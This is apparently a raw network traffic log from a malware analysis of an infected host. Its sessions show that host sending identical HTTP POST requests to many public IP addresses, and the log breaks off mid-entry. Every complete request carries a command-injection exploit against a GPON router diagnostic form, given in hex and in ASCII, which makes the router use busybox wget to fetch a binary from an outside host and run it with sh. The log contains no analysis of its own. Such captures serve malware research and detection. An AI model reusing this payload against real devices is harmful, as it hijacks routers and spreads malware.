Session ID	Source IP	Source Port	Destination IP	Destination Port
2153	192.168.2.13	51334	212.190.156.138	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359699011 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2154	192.168.2.13	54344	42.84.124.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359714985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2155	192.168.2.13	57136	178.19.96.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359744072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2156	192.168.2.13	38768	210.229.116.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359766006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2157	192.168.2.13	53370	212.12.208.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359797955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2158	192.168.2.13	60438	202.206.130.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359814882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2159	192.168.2.13	52724	37.100.108.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359831095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2160	192.168.2.13	51906	202.222.254.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359882116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2161	192.168.2.13	48358	202.94.207.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359910965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2162	192.168.2.13	48898	5.154.108.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359915972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2163	192.168.2.13	52434	118.136.142.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359939098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2164	192.168.2.13	39216	79.208.153.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359955072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2165	192.168.2.13	43964	2.229.1.79	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359967947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2166	192.168.2.13	50286	79.86.51.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359980106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2167	192.168.2.13	44814	42.126.93.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360006094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2168	192.168.2.13	42022	37.149.103.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360042095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2169	192.168.2.13	54010	37.54.185.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360054970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2170	192.168.2.13	40838	37.178.130.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360074997 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2171	192.168.2.13	58630	37.254.244.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360101938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2172	192.168.2.13	53532	210.11.86.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360167980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2173	192.168.2.13	40098	117.232.187.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360172033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2174	192.168.2.13	52564	148.249.233.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360191107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2175	192.168.2.13	36694	117.9.124.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360208988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2176	192.168.2.13	58072	2.22.27.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360233068 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2177	192.168.2.13	51102	117.113.26.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360249996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2178	192.168.2.13	52948	109.170.59.176	443

Timestamp	Bytes transferred	Direction	Data
